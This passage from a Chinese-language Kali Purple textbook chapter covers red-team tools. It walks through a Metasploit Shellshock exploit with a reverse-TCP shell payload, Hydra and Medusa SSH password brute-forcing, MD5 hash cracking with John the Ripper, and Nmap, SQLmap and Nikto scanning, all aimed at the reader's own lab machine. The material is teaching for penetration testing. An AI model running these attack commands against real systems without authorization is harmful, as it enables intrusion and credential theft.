或者,我们可以选择环境左上角的 Kali 龙图标,然后在搜索栏中输入Wireshark,或者向下滚动并高亮显示Protect,然后将光标移到右侧新展开的栏中。此时,我们可以滚动至底部,找到并点击Wireshark选项。

如果你更喜欢输入命令,可以输入sudo apt update;如果结果建议进行一些升级,输入sudo apt upgrade来安装它们。完成后,输入sudo apt install wireshark来正式安装 Wireshark。

让我们启动应用程序。为此,输入wireshark。当应用程序加载后,系统会要求你选择要捕获流量的网络接口。对于我们的工作示例,我们选择eth0接口;这个通常是列表中的第一个项目,且已经被高亮显示。选中该字段后,将光标移动到蓝色鲨鱼鳍图标上,该图标位于左上角的文件一词下方,如图 10.12所示:

图 10.12 – Wireshark – 选择网络接口并开始数据包捕获

图 10.12 – Wireshark – 选择网络接口并开始数据包捕获

选择左上角的开始捕获数据包鲨鱼鳍图标。现在,在你的 Kali Purple 环境中,打开任意网页浏览器并访问任何网站,以便为 Wireshark 创建一些流量进行捕获。完成此操作后,返回 Wireshark 应用程序并选择鲨鱼鳍图标旁边的红色方块图标停止捕获数据包。

你会立即注意到,主窗口填满了成排的数据,如图 10.13所示。每一行都是一个数据包捕获,且在你的环境中,它们会按颜色进行编码:

图 10.13 – Wireshark 收集网络数据包后的界面

图 10.13 – Wireshark 收集网络数据包后的界面

在左下角的窗口中,即数据包详细信息窗格,你会注意到一些带有左箭头的主题,可以点击它们进行展开。这将允许你深入分析你捕获的信息。在我们的例子中,第一行将是我们在主窗口中高亮显示的帧。第二行提到我们捕获的网络接口类型,这是以太网 II。第三行告诉我们捕获的 IP 协议—在我们的例子中是 IPv4。它将我们的流量标识为 TCP 流量。然而,在数据包捕获过程中,你很可能会看到列出 UDP 的帧,频率同样很高。之后,你将看到各种不同的协议以供进一步分析,包括 DNS 和 HTTP。

Wireshark 是一款功能强大的应用程序,拥有非常悠久的历史,并且有大量免费的培训材料可以帮助你掌握这个程序,如果你想成为一个数据包捕获和分析的高手。我们在进一步阅读部分提供了一些有价值的链接。

Wireshark 帮助你评估攻击角度和攻击者的风格,以及攻击者的预定目标可能是什么。在接下来的章节中,我们将学习今天网络安全领域中最强大、最流行的利用和恶意有效载荷投递应用程序之一:Metasploit。它在渗透测试人员和网络犯罪分子中都很受欢迎,并且拥有一个强大的恶意有效载荷和攻击风格数据库,随时可以使用。

Metasploit

尽管 Metasploit 通常被视为一个渗透测试框架,但任何在网络安全领域工作一年或更少的人都知道,Metasploit 也是网络犯罪分子最常用的武器之一。这个框架预先包含了各种网络攻击和恶意有效载荷。你在网络安全职业生涯中可能会遇到的其他工具也包含在 Metasploit 框架中,最著名的就是前面提到的 Nmap。尽管 Metasploit 是一个流行且有价值的渗透测试工具,但不要误解:如果落入错误之手,Metasploit 将是一个极其危险的武器。

作为红队与渗透测试的核心组件,Metasploit 已经包含在 Kali Linux 发行版中。你可以像使用其他工具一样,选择 Kali Purple 龙图标,向下滚动,鼠标悬停在Exploitation Tools区域上,然后从向右扩展的菜单中选择它。你也可以开始在顶部的搜索栏中输入Metasploit,并在它出现时选择它。

但在此之前,让我们编写脚本。通过输入cd /usr/lib/cgi-bin来导航到cgi-bin目录。然后,输入sudo nano metatest.sh在该位置创建脚本文件。一旦进入文件,添加以下行,如图 10.14所示:

  • #! /****bin/bash

  • echo "****Content-type: text/html"

  • echo " "

  • echo "你已经 被攻陷了!":

图 10.14 – 我们的第一个 Metasploit 攻击脚本

图 10.14 – 我们的第一个 Metasploit 攻击脚本

在启动实际应用程序之前,让我们通过按 Ctrl + X 来保存我们的脚本并关闭文件,若希望保存文件,按 Y(希望你会保存;否则,你得重新输入一遍!)。现在,回到 Kali Purple 龙图标,鼠标悬停在Exploitation Tools区域上,然后从菜单中选择Metasploit

你也可以直接从命令行调用 Metasploit。但在此之前,你应通过输入sudo msfdb init来初始化 Metasploit 数据库。原因是我们不想让你错过任何有趣的部分。我们将立即在这里使用 Metasploit 发起一次攻击。

一旦数据库初始化完成,通过输入msfconsole启动程序。当你执行此命令时,由于它包含庞大的漏洞和有效载荷数据库,可能需要一些时间来加载,如图 10.15所示:

图 10.15 – Metasploit 初始化

图 10.15 – Metasploit 初始化

现在 Metasploit 已经加载完毕,我们将找到并使用 Shellshock 漏洞。输入search shellshock来列出所有与该漏洞相关的攻击方式,如图 10.15所示。接下来,我们需要告诉 Metasploit 我们打算使用其中的哪种漏洞利用方式。我们将使用 Apache mod 版本。为此,输入use exploit/multi/http/apache_mod_cgi_bash_env_exec。接下来,我们需要告诉 Metasploit 攻击者机器和目标机器的 IP 地址。输入set RHOST ,并确保你有权限攻击这个目标。可以像我们一样使用虚拟机的 IP 地址。然后,输入set LHOST ,在我们的案例中,这是本地主机的 IP 地址:

图 10.16 – Metasploit 攻击准备

图 10.16 – Metasploit 攻击准备

现在我们已经通过设置 RHOST IP 地址告诉 Metasploit 要攻击哪个设备,接下来我们仍然需要告诉它在哪里找到我们刚刚创建的脚本。输入set targeturi /cgi-bin/metatest.sh,并通过输入set payload linux/x86/shell/reverse_tcp来设置有效载荷。

你可以输入show options来查看已填写或可能仍需填写的所有字段。当你满意时,输入exploit开始攻击。终端将通知你攻击是否成功。

扫描器

到目前为止,我们在本章中介绍的每一个工具都有其独特的专长。在本节中,我们将介绍一组工具,它们虽然各具特色,但都属于同一个整体概念——扫描。扫描是网络攻击侦察阶段的一部分。在这个阶段,攻击者获取有用的信息,以缩小攻击向量并更好地规划攻击策略。不同的扫描器有不同的重点。我们将从极受欢迎、轻量级且经过时间考验的 Nmap 网络扫描器开始。

Nmap

如果你去问专业的渗透测试人员列出他们最喜欢的五个工具,你会发现几乎没有人不把 Nmap 列在其中。Nmap 是一款功能强大的网络探测工具,经常用于安全审计。它旨在发现计算机网络中的网络节点——主机——以及一些与网络相关的服务。在此过程中,它能够绘制出网络结构图,因此得名。

Nmap 使用原始 IP 数据包来确定网络上哪些主机是可用的,哪些服务在这些主机上可用,包括应用程序名称和版本、主机正在运行的操作系统版本,以及正在使用的包过滤器和防火墙类型。这只是一个高层次的概述,旨在突出 Nmap 最常见的用途。它也可以用来检测许多其他特征。

下面是 Nmap 的一些关键功能:

  • 主机发现:这是人们在想到 Nmap 时通常默认的可视化方式,尽管该工具远不止于此。主机发现的工作原理正如其名。Nmap 发送数据包穿越网络,并分析响应,以确定哪些主机在网络上可用且处于活动状态。

  • 端口扫描:Nmap 可以扫描目标主机上的端口,识别开放的端口以及在这些端口上运行的服务。它支持多种端口扫描方式,包括 SYN 扫描、TCP 连接扫描、UDP 扫描等。这个高度的灵活性对于道德黑客/渗透测试人员以及恶意网络犯罪分子都至关重要,因为它有助于他们描绘出网络攻击面更清晰的全貌。

  • 服务版本检测:除了广泛支持 IPv6,Nmap 还可以检测目标主机上运行的应用程序/服务版本。它还可以检测特定于网络的设备和服务。这一点非常重要,因为它有助于根据已知与特定版本相关的漏洞以及网络组成和整体布局来识别漏洞。

  • 操作系统检测:Nmap 通过分析接收到的各种网络数据包响应,来推测目标主机上运行的操作系统。每种操作系统在操作方式上都有独特的行为,就像人类——即使是相似的人——也有微妙的独特性。

  • 可脚本化的交互:Nmap 包含一个脚本引擎,允许用户编写脚本来自动化各种网络任务,从漏洞检测到高级网络发现任务。

  • 灵活的时序和性能:由于在自动化中的重要性,Nmap 提供了控制扫描时序的选项。控制时序非常重要,因为它使渗透测试人员能够根据需求更加精准地平衡速度和隐蔽性。

  • 输出选项:Nmap 支持多种输出格式,包括交互模式、grep 模式、XML 格式以及其他用于报告的格式,供其他分析人员查看扫描结果。

你可能已经开始感受到这里出现的主题,但 Nmap 应该已经在你的 Kali Purple 实例中安装好了。你可以通过在环境的左上角选择 Kali 龙图标,并在搜索框中输入 Nmap,或者向下滚动并高亮显示 信息收集,然后将光标移到右侧新展开的列中来检查这一点。完成后,继续滚动,直到找到 Nmap 选项。在命令行中,执行你的操作。如果需要,可以输入 sudo apt updatesudo apt upgrade。然后输入 sudo apt install nmap

与本章中之前介绍的应用程序不同,Nmap 没有一个漂亮的 GUI 界面供你操作。你将直接通过命令行使用它,即使你是通过下拉菜单和图标调用该应用程序的。要从命令行使用 Nmap,只需输入 sudo nmap 。你可以单独输入 nmap 以获取可用选项的列表。目标将是像 IP 地址、URL 或主机名这样的值。举个有趣的例子,在输入 nmap 并查看选项后,输入 nmap -v -sn -T1 127.0.0.1,并将你的结果与 图 10.17 中显示的进行比较。查看你输入的选项列表,并将其与在输入 nmap 后打印到屏幕上的输出列表进行比较。通过这些比较,你应该开始理解发生了什么。尽情玩弄不同的选项,但记住不要扫描任何你没有明确授权的主机、URL 或 IP 地址:

图 10.17 – 本地主机的 Nmap 示例扫描

图 10.17 – 本地主机的 Nmap 示例扫描

SQLmap

Nmap 专注于网络扫描。还有另一种漏洞扫描器,专门用于检测与 Web 应用程序相关联的 SQL 数据库中的数据库漏洞。它被恰当地命名为 SQLmap,并且它不仅仅是检测漏洞,它还帮助利用这些漏洞。

SQLmap 的一些关键功能如下:

  • 自动化 SQL 注入检测:SQLmap 是专门用于自动检测 Web 应用程序中的 SQL 注入漏洞的工具,它通过分析目标的响应来执行此操作,类似于 Nmap,但它还可以利用这些漏洞。它通过各种操作执行这些漏洞利用,例如转储数据库内容、修改数据库结构或在服务器上执行任意命令。

  • 支持多个数据库管理系统:SQLmap 支持各种数据库管理系统,包括知名的 MySQL、Oracle 和 PostgreSQL,以及 Microsoft SQL Server、SQLite 等其他系统。这增加了应用程序的灵活性。

  • 检测和数据库架构数据:该应用程序可以识别目标数据库中存储的数据库架构、表、列和数据。这可能为渗透测试人员提供进一步利用系统或组织的非常宝贵的见解。

  • 暴力破解和基于字典的攻击:SQLmap 支持暴力破解和基于字典的攻击,它尝试猜测数据库名称、表、列和用户帐户。

  • SQL shell:SQLmap 提供了一个基于 SQL 的交互式 shell,用于直接在目标系统的数据库上执行命令。这为渗透测试人员提供了一个执行高级数据库操作的途径。

  • 后端数据库凭据的枚举:SQLmap 可以从数据库中检索用户名和密码哈希,从而促成对数据库的未经授权访问。

  • 检测文件系统访问:通过利用服务器上发现的任何 SQL 注入漏洞,SQLmap 可以检测文件系统访问并允许访问服务器上的敏感文件。

  • 可定制的测试参数:SQLmap 提供了广泛的测试选项和参数,可根据特定要求和目标应用程序定制扫描过程。

  • 检测盲 SQL 注入:SQLmap 还可以检测盲 SQL 注入漏洞。这是应用程序不会显示错误响应的情况。它通过使用基于时间和基于布尔的技术来运行干扰,以检测这些漏洞。

  • 集成和支持 Web 应用程序防火墙(WAF)和其他工具:SQLmap 可以绕过某些 WAF 和规避技术,成功利用受保护的 Web 应用程序中的 SQL 注入漏洞。它还可以与 Burp Suite 等流行的 Web 应用程序安全测试工具集成。

要获取 SQLmap,请在命令行上输入 sudo apt updatesudo apt upgrade(如果适用)。然后使用 sudo apt install sqlmap

若要使用该应用程序,请键入 sqlmap -u <目标>,其中 目标 是您希望攻击的应用程序或数据库的目标 URL。

Nikto

Nikto 是另一个扫描程序,专门用于扫描 Web 服务器。它非常轻量级且易于使用。

首先,通过执行你的sudo apt updateupgrade魔法,继续输入sudo apt install nikto来抓取副本。安装应该非常快速和无痛。一旦完成,由于你已经在 Kali Purple 环境中,你应该能够立即从命令行调用该实用程序并进行扫描。输入nikto -h <目标>。在我们的情况下,我们只扫描本地主机。所以,我们会输入nikto -h 127.0.0.1。如图 10**.18所示,它没有找到太多 - 因为我们没有太多。然而,在攻击者眼中,不一定总是需要太多。仔细查看结果;你仍然会找到大量来自扫描返回的有用信息:

图 10.18 - Kali Purple 主机系统 Web 服务器的 Nikto 扫描

图 10.18 - Kali Purple 主机系统 Web 服务器的 Nikto 扫描

我们有限的结果扫描仍然告诉我们,Web 服务器类型是 CherryPy 版本 18.9.0。哦哦哦…但是看看接下来的一行情报!这个服务器没有反点击劫持的 X-Frame 选项头。如果你是一个寻求利用的网络罪犯,你认为会做什么?没错 - 你会考虑点击劫持攻击!如果你是一名经验丰富的攻击者,你会首先搜索关于点击劫持与特定服务器类型和版本相关的任何公开信息。在许多情况下,这些信息 - 有时甚至包括逐步操作说明 - 已经存在于网络上。相反,如果你是一名渗透测试人员,现在你知道你需要进行等效研究,以了解如何提供反点击劫持 X-Frame 选项头。

Nessus

如果你在 SOC 环境中工作,最终会遇到追溯到 Tenable Network Security 旗舰产品Nessus的流量。Nessus 是一个漏洞评估和管理工具,旨在帮助组织识别和修复其网络、基础设施和系统中的漏洞。

Nessus 的亮点 - 你已经在我们涵盖的其他软件中见过 - 包括以下内容:

  • 可定制的漏洞扫描

  • 支持多操作系统

  • API 集成和基于插件的架构

  • 政策合规性和配置审计

  • 补丁和修复

  • 定期扫描和报告

  • 风险优先级排序

  • 支持云端和本地部署

  • 可扩展性和性能

Tenable 的 Nessus 是一个商业产品,仅提供 7 天的免费试用。由于本书的主题是帮助将免费和开源的解决方案与同样免费的开源 Kali Purple 结合使用,我们不会在这里详细讨论它。不过,我们不得不提到这个产品,并指出它与 Kali Purple 操作系统兼容,因为它在网络安全社区中广受欢迎。如果你希望了解更多关于世界上最知名的漏洞扫描工具之一的内容,我们已在进一步阅读部分提供了链接。

Greenbone 漏洞管理与 OpenVAS

OpenVAS 是一个开源的漏洞扫描版本,是 Nessus 的竞争产品。

OpenVAS 的亮点——你已经在我们之前讨论的其他软件中见过——包括:

  • 漏洞扫描

  • 自动化和定时扫描

  • 网络发现

  • CVE 兼容性

  • 报告与修复

  • 可扩展性和灵活性

  • 第三方集成支持

  • 威胁情报数据源

  • 社区广泛支持

你可以通过常规方式获取OpenVAS。运行sudo apt updateupgrade,现在你可能已经能闭着眼睛完成了。然后,继续输入sudo apt install gvm-tools。这时,过程与我们过去的做法有所不同。如果出现任何提示,接受它们并等待几分钟,Greenbone(包括 OpenVAS)将会安装完成。安装完成后,你仍然需要进行一些配置。在左上角选择 Kali 龙标志,开始输入gvm,直到出现一些gvm字段,如图 10.19所示:

图 10.19 – Kali 龙标志下的 Greenbone 管理选项

图 10.19 – Kali 龙标志下的 Greenbone 管理选项

首先选择gvm 初始设置并让它自行运行。整个过程是自动化的。然后,选择gvm 检查设置。系统可能会提示你通过输入sudo runuser -u _gvm – gvm-manage-certs -a -f来修复证书错误——相信我们,输入这个命令是值得的。它将节省你大量的时间和精力,如果你对证书不熟悉,它还会帮你避免很多麻烦。完成后,再次运行gvm 检查设置选项。仔细观察是否有其他错误或需要运行的命令。这个过程最棒的特点之一是,如果需要进行任何调整,它会准确地逐字符告诉你该输入什么。重复运行此功能,直到不再需要进行任何配置或调整。请记住,每次更新数据源时都会有较长的延迟。请耐心等待。操作系统并没有卡住。只是这些任务完成需要一些时间。

通过输入 sudo apt install redis 安装 Redis 服务器,然后通过输入 sudo systemctl start redis 启动服务。输入 sudo systemctl status redis 来验证它是否正常运行。当你完成这些步骤时,由于安装和配置 GVM 可能会有些麻烦,并且对升级非常敏感,我们强烈建议再执行一次 sudo apt update/upgrade 以确保一切正常运行,然后完全重启并/或重新启动 GVM。就像 Nmap、SQLmap 和 Nikto 一样,启动扫描的命令非常简单。输入 gvm-cli -h 获取选项列表,享受吧!

如你所见,Kali Purple 提供了大量的扫描工具,涵盖了几乎所有你能想到的扫描类型和风格,从网络到数据库到 Web 服务器到基础设施。一些扫描工具是为处理多个专业领域而设计的。当这些扫描器发现漏洞时,例如弱密码规则集,怎么办?果然,Kali Purple 也有工具来帮助利用已发现的漏洞。

密码破解

扫描和发现 Web 或其他技术应用中的漏洞是整个网络攻击流程的一个重要组成部分。然而,最终的目标是获取目标的访问权限,并在可能的情况下,提升权限,以便可以造成各种无情的破坏。

Hydra

Hydra 是一款广泛用于对各种网络协议执行在线密码攻击的密码破解工具。它的设计旨在帮助网络安全渗透测试人员及其他进攻性安全人员通过猜测和/或识别弱密码来对抗网络系统的安全性。

以下是 Hydra 的一些亮点:

  • 支持多种协议类型

  • 暴力破解和字典攻击

  • 并行化攻击会话

  • 可自定义的攻击参数

  • 会话恢复及暂停/恢复功能

  • 用户名枚举

  • 用户友好的命令行界面

  • 日志记录与报告

  • 支持 SSL/TLS 安全

  • 跨平台兼容性

  • 具有社区支持的可扩展性

要使用 Hydra,你可以选择我们环境左上角的 Kali 龙图标,然后在搜索栏中输入 Hydra,或者向下滚动并突出显示 Password Attacks。接着,将鼠标移到右侧新展开的栏目中,点击 Hydra 选项。

如果你更喜欢输入命令,可以输入 sudo apt update;如果结果显示有升级,你需要输入 sudo apt upgrade 来安装它们。完成后,输入 sudo apt install hydra 正式安装 Hydra。

为了让 Hydra 有效工作,你需要创建(祝你好运)或下载一个密码列表供程序使用。以下是一些人们常用的密码破解工具的流行密码列表:

我们将使用 SecLists 作为示例。为此,输入 git clone https://github.com/danielmiessler/SecLists.git

通过键入 cd SecLists/Passwords/ 来导航到包含各种密码列表的目录,然后输入 ls 来确认你是否在正确的位置。如果使用 cd 不起作用,请在 SecLists 前加上一个正斜杠并重试。你应该会看到许多不同风格的密码列表,如 图 10.20 所示。我们将使用 2023-200_most_used_passwords.txt 文件。让我们通过键入 sudo nano 2023-200_most_used_passwords.txt 来编辑该文件。在文件中的任意空白行输入你用来登录 Kali Purple 实例的密码。如果没有空白行,只需使用键盘上的箭头键将光标对齐到任何一行的开头,并按 Enter 创建一个新行。然后,再次使用箭头键移动到空白行,输入你的 Kali Purple 密码。按 Ctrl + X 并选择 Y 保存:

图 10.20 – Hydra /SecLists/Passwords 目录中的密码文件

图 10.20 – Hydra /SecLists/Passwords 目录中的密码文件

我们这样做是为了演示目的,并保持破解过程高效。从理论上讲,我们可以抓取一个更深入的密码列表,该列表可能已经列出了你的 Kali Purple 密码,除非你已经遵循了本书中讨论的一些高级密码创建方法。然而,列表越长,Hydra 完成工作的时间就越长,除非我们足够幸运,你刚好选择了一个位于列表顶部的密码。在 Kali Purple 中,任何新安装或启动的工具,例如这个 SSH 服务器,都会继承你默认的 Kali Purple 凭据。因此,如果你在生产环境中进行设置,请确保在每次设置系统中的应用程序时更改默认凭据。

现在,输入pwd来获取指向该目录的完整文件路径,并记住或记录下这个路径。记住,pwd代表的是打印工作目录。很多人可能会误以为它代表密码,这在你对 Linux 不太熟悉并尝试进行渗透测试时可能会造成困惑。稍后你将在攻击中使用这个完整路径。我们将攻击一个 SSH 服务器,但为了这样做,我们需要先启动一个。输入sudo systemctl start ssh;当命令提示符返回时,输入sudo systemctl status ssh以确保服务已启动并运行。如果服务正在运行,终端会告诉你。从这里开始,我们将使用 Hydra 对 SSH 服务器进行密码破解尝试。掌握了这些信息和完整的文件路径后,你将决定使用哪个密码文件,并简单地输入命令,指定你希望 Hydra 使用的用户名、密码文件的完整路径以及你要攻击的协议——在本例中是 SSH 服务器。

在启动 Hydra 之前,输入ifconfig并记下你想要攻击的接口。默认情况下,这应该是eth0接口。如果你设置为eth1或自定义名称的接口,那么你已经具备了抓取所需 IP 地址的技术知识,可以继续进行下一步。

通过输入hydra -l -P ssh<eth0 或 eth1 的 IP 地址>来启动攻击。因此,在我们的案例中,这个 Kali Purple 实例的用户名和密码是 karllane。通常,在生产系统或非培训系统中,我们会使用不同且更复杂的值。我们之前通过输入pwd命令获得的密码文件的完整路径是/home/karllane/SecLists/Passwords/2023-200_most_used_passwords.txt。因此,我们输入的完整攻击命令是hydra -l karllane -P /home/karllane/SecLists/Passwords/2023-200_most_used_passwords.txt ssh://10.0.2.15

如果一切按计划进行,Hydra 应该会非常迅速地发现你的密码——这里所说的“非常迅速”是指在纳秒级别,如图 10.21所示:

图 10.21 – Hydra – 成功破解我们的 Kali Purple SSH 服务器的密码

图 10.21 – Hydra – 成功破解我们的 Kali Purple SSH 服务器的密码

现在,让我们来看一下 Medusa。

Medusa

Medusa 是一个与 Hydra 功能非常相似的工具。它默认不在 Kali 菜单中,但在从命令行安装后,会出现在 密码攻击 下。现在请执行这一步。输入 sudo apt update,然后如果你愿意,可以输入 sudo apt upgrade。完成后,输入命令正式安装 Medusa,也就是输入 sudo apt install medusa。由于我们已经完成了设置 Hydra 的繁琐工作,这一步会更快。安装完后,假设你的 SSH 服务器仍然运行,你几乎可以立即发起攻击。要检查服务器状态,输入 sudo systemctl status ssh;如果它没有运行,重新输入该命令,将 status 替换为 start。然后,输入以下命令发起攻击:medusa -h 10.0.2.15 -u karllane -P /home/karllane/SecLists/Passwords/2023-200_most_used_passwords.txt -****M ssh

正如你将发现的那样,破解过程非常快速。如果成功,你应该会看到 图 10.22 中的结果:

图 10.22 – Medusa – 成功破解我们的 Kali Purple SSH 服务器密码

图 10.22 – Medusa – 成功破解我们的 Kali Purple SSH 服务器密码

接下来,我们将介绍 John the Ripper。

John the Ripper

John the Ripper 是一个非常著名和流行的密码破解工具。它通常被安全专家和渗透测试员用来测试密码的强度,并为组织进行安全评估。它是一个功能极其多样的密码破解工具,支持多种加密哈希算法和密码格式。

要使用 John the Ripper,请在环境的左上角选择 Kali 龙图标,然后在搜索栏中输入 john 或者向下滚动并高亮显示 密码攻击。接着,将光标移至右侧新展开的栏目并点击 John the Ripper 选项。

从命令行安装它时,输入 sudo apt update,然后如果你愿意,可以输入 sudo apt upgrade。完成后,输入命令正式安装 John the Ripper,也就是输入 sudo apt install john

我们已经攻击过我们的 SSH 服务器两次了,所以为了保持清醒,我们做点不一样的事情吧。让我们做些 John the Ripper 擅长的事情,破解一个密码哈希!首先,创建一个文件来存储我们的哈希值。输入 sudo nano hashtest.txt 或者你喜欢的任何名字。只需记住在命令中输入正确的文件名。在文件中,第一行输入 37203f0ef82c870c36cd6f99e1fbfe4c 作为哈希值,然后按 Ctrl + X 关闭并保存文件,选择 Y 来确认你的选择。现在,输入命令来调用 John the Ripper(它自带了一个预安装的密码列表),并用它来破解该文件中的哈希值。输入 john –format=raw-md5 hashtest.txt,将文本文件的实际名称替换为你选择的文件名。如果一切顺利,你会发现你放入文件中的哈希值解析为单词 valhalla,如 图 10.23 所示:

图 10.23 – John the Ripper 成功破解文件中的哈希值

图 10.23 – John the Ripper 成功破解文件中的哈希值

现在我们已经覆盖了数据包捕获、强大的漏洞扫描、利用攻击和利用 Metasploit 进行有效载荷传递,以及使用 Hydra、Medusa 和 John the Ripper 进行密码破解,我们将把本章内容做个总结,回到 web 应用分析,使用 ZAP 的主要竞争对手 Burp Suite。像 ZAP 一样,Burp Suite 提供了大量免费的培训,但它也有强大的商业组件。

Burp Suite 集成

你很难找到一位不使用或至少没听说过 Burp Suite 的专业 web 应用渗透测试人员。这个工具由一个名为 PortSwigger 的公司开发。我们在 第一章 中稍微讨论了 Burp Suite 的结构,如果你想复习的话,可以参考那一章。

让我们快速下载并为你设置好可以使用的版本。在你的 Kali Purple 实例中,打开一个浏览器——在这种情况下最好是 Firefox——并访问 portswigger.net/burp/documentation/desktop/getting-started/download-and-install。然后向下滚动,直到看到 下载 部分下的 选择你的软件 选项,如 图 10.24 所示。选择 Community Edition 版本:

图 10.24 – Burp Suite 下载

图 10.24 – Burp Suite 下载

网站应该能自动识别你的操作系统,并默认提供正确的下载选项。如果没有,你可以选择操作系统列表中的下拉菜单,并选择合适的操作系统以下载正确的 Burp Suite 版本。你还需要点击下载按钮右侧的显示校验和链接,并记录下那些值。这样,校验和会显示出来,按钮也会变成隐藏校验和(如图 10.25所示)。记录下这些值:

图 10.25 – Burp Suite 下载选项和校验和

图 10.25 – Burp Suite 下载选项和校验和

在你的命令终端中,输入cd /Downloads进入下载文件夹,并输入ls来确认下载文件是否存在。你应该看到一个文件,文件名类似于burpsuite_community_linux_v2024_2_1_5.sh,其中年份和版本号可能会有所不同,具体取决于你查看本文的时间。图 10.26 显示了有两个文件哈希值可以选择。你只需要使用其中一个来确认下载文件是否未被篡改。若要确认 SHA256,可以输入sha256 burpsuite_community_linux_v2024_2_1_5.sh;若要确认 MD5 哈希,可以输入md5sum burpsuite_community_linux_v2024_2_1_5.sh。无论你选择哪个选项,都要将生成的值与图 10.26中显示的值进行比较,确保与从 Burp Suite 下载页面记录的值一致:

图 10.26 – Burp Suite 校验和在命令行中的确认

图 10.26 – Burp Suite 校验和在命令行中的确认

由于我们快要结束这段旅程了,现在将向你展示一个快捷方式来启动应用程序,同时确保它具有启动所需的文件权限。将chmod与启动命令结合,运行sudo chmod +x burpsuite_community_linux_v2024_2_1_5.sh && ./burpsuite_community_linux_v2024_2_1_5.sh

你应该会看到一个名为Burp Suite Community Edition 安装向导的弹窗。点击下一步 >按钮,继续安装过程。在接下来的几个界面中,会有一些自定义选项。每个界面上选择下一步 >,直到最后一个界面,你将看到一个选项让你选择完成。点击它以开始提取 Burp Suite 文件。

完成后,你可以像我们在这一章中启动其他应用程序一样启动 Burp Suite。提醒一下,要做到这一点,进入你 Purple 实例左上角的 Kali 龙图标,在搜索栏中输入Burp Suite,或者滚动到所有应用程序并观察应用程序在右侧扩展的窗口中显示出来。此外,你也可以尝试通过在命令行中直接输入burpsuite来启动 Burp Suite。然而,默认情况下,Kali Linux 通常不包括这个快捷方式。所以,系统可能会要求你安装它,你可以选择Y(是)让自动化完成,或者在命令行中输入完整的sudo apt install burpsuite命令。请注意,这不会重新安装 Burp Suite,因为你已经完成了安装!这只是安装了一个从命令行调用 Burp Suite 的命令,而这个命令的名称就是burpsuite

一旦你安装了这个命令,你可以在命令行中输入burpsuite来启动应用程序。完成后,我们建议在整个应用程序启动过程中接受默认值,作为一个临时项目。原因是,这将把你带到默认仪表板,在那里 PortSwigger 提供了大量的入门材料、视频教程、引导式游览和网络学院。这个产品本身可以作为几门大学级课程来教授。这些视频提供的指导远远优于我们在这里能打印的任何内容。如果你对攻击性安全和渗透测试感兴趣,我们强烈推荐花时间学习并掌握 Burp Suite,开始时观看这些视频将是你能得到的最佳培训。值得一提的是,虽然有一些收费培训,但这里提供了大量免费的培训资源!

让我们来看看这一章我们学到了什么!

总结

在这一章中,你继续深入挖掘了各种红队工具,并学习了如何将它们用来对抗网络防御。在生产环境中,我们攻击的 SSH 服务器将会有某种代理在监控活动,并将这些活动报告回我们的蓝队工具。数据会被收集、丰富和存储;然后,当分析师准备好时,它将通过 ELK 堆栈或我们已覆盖的某些 IDS/IPS 解决方案显示出来。

在本章中,我们介绍了一些强大的 Web 应用程序工具,这些工具可以用于漏洞管理,帮助我们增强 Web 应用程序的整体安全性。我们还探讨了各种侦察和获取访问权限的工具,并使用了大量扫描器和密码破解工具。这只是一个小小的尝试,朋友们。这些是 Kali Purple 天生支持的工具。但这并不意味着它们是 Kali Purple 环境中唯一有用的工具——Kali Linux 操作系统旨在容纳其他人定制的贡献。这也是软件社区能保持活力的原因。

在下一章——我们最后一章,我们将汇总一些 Kali Purple 中的零散功能,这些功能在其他章节中没有完全涵盖。这应该能带你走到旅程的尽头,并完成对 Kali Purple 的介绍。

问题

回答以下问题,以测试你对本章的理解:

  1. 我们讨论的扫描工具属于网络攻击的哪个阶段?

    1. Payload 传输

    2. 利用

    3. 恢复

    4. 侦察

  2. 什么是 Wireshark?

    1. 协议分析仪

    2. 一位与黑手党相关的贷款官员

    3. 一个物理电缆监听器

    4. 一个网络数据包生成器

  3. 什么是 John the Ripper?

    1. Jack 的哥哥

    2. 一个密码和哈希破解工具

    3. 一个网络数据包反汇编器

    4. 一个 WAF 绕过漏洞

  4. 如果你尝试破解的密码不在正在调用的破解工具的词表中,你认为会发生什么?

    1. 该工具将自动重启,并使用目录中下一个词表的值

    2. 该工具将从词表中完成扫描,然后随机生成内容,尝试猜测密码

    3. 密码将无法成功破解,你需要找到另一份列表或方法来完成目标

    4. 密码破解工具会变得异常激烈,并自动切换到通过字典和模糊值测试的暴力破解方式

  5. 哪个工具最像 ZAP?

    1. Google Chrome

    2. Mozilla Firefox

    3. Portswigger

    4. Burp Suite

深入阅读

若要了解更多本章涉及的主题,请参考以下资源:

第十一章:Autopilot、Python 和 NIST 控制

在深入审视 Kali Purple 家族中的蓝队部分之后,我们在上一章中体验了一些红队方面的内容。这些功能被整合在紫队版本中的原因是,进攻工具用于测试防御工具,并通过渗透测试向网络安全分析师提供高质量的培训以及概念验证。

在这一章中,我们将通过 Kali Linux 提供的工具 Autopilot 来了解这些渗透测试工具的自动化方面。正如其名所示,Autopilot 用于自动化攻击,从而提高渗透测试团队的效率。通过 Autopilot,你将对脚本语言有一些微妙的了解——特别是 Python。

我们将简要介绍 Python 脚本语言,但并非以你想象的方式进行。这不是一本学习编程的培训手册,我们并不打算教授你如何编码。然而,如果你对此感兴趣,我们会提供大量参考资料链接。我们将重点讲解你可能在一段 Python 代码中看到的关键组成部分。我们要教你如何识别代码的内容。这将帮助你理解任何软件(无论是好的还是坏的)试图做什么。如果是你有能力编辑的软件,凭借这些知识,你甚至可以更改某些部分,以便测试和调整代码,按照自己的喜好进行修改。

之后,我们将回顾刚刚更新的 NIST 网络安全框架CSF),该框架于 2024 年 2 月发布了 2.0 版本,增加了一个新的核心功能——Govern,专为高层网络安全管理人员设计,帮助监管其他五个核心功能。

在这一章中,你将学习到以下内容:

  • Kali Autopilot

  • Python

  • NIST 控制

技术要求

本章的要求如下:

  • 最低要求:一台具备 amd64 (x86_64/64-bit)i386 (x86/32-bit) 架构的计算设备,至少配备 4 GB 内存。

  • 推荐要求:根据网络安全领域从业者的反馈,建议使用 amd64 (x86_64/64-bit) 架构,并配备 8 GB 内存。

Autopilot

Kali Autopilot 是一个网络安全框架和应用程序,专为红队和紫队演练而设计。其目标是提升进攻和防守安全操作的协同效能。Autopilot 专注于自动化和简化网络安全操作中的各项任务,旨在提高演练的效率和有效性。

Kali Autopilot 的主要功能包括以下几点:

  • 自动化功能:Kali Autopilot 提供强大的自动化功能,用于执行预定义的攻击场景、安全评估、渗透测试任务和防御措施,在红队和紫队演习中尤为有效。此自动化简化了复杂的流程,为网络安全专业人员节省了时间。

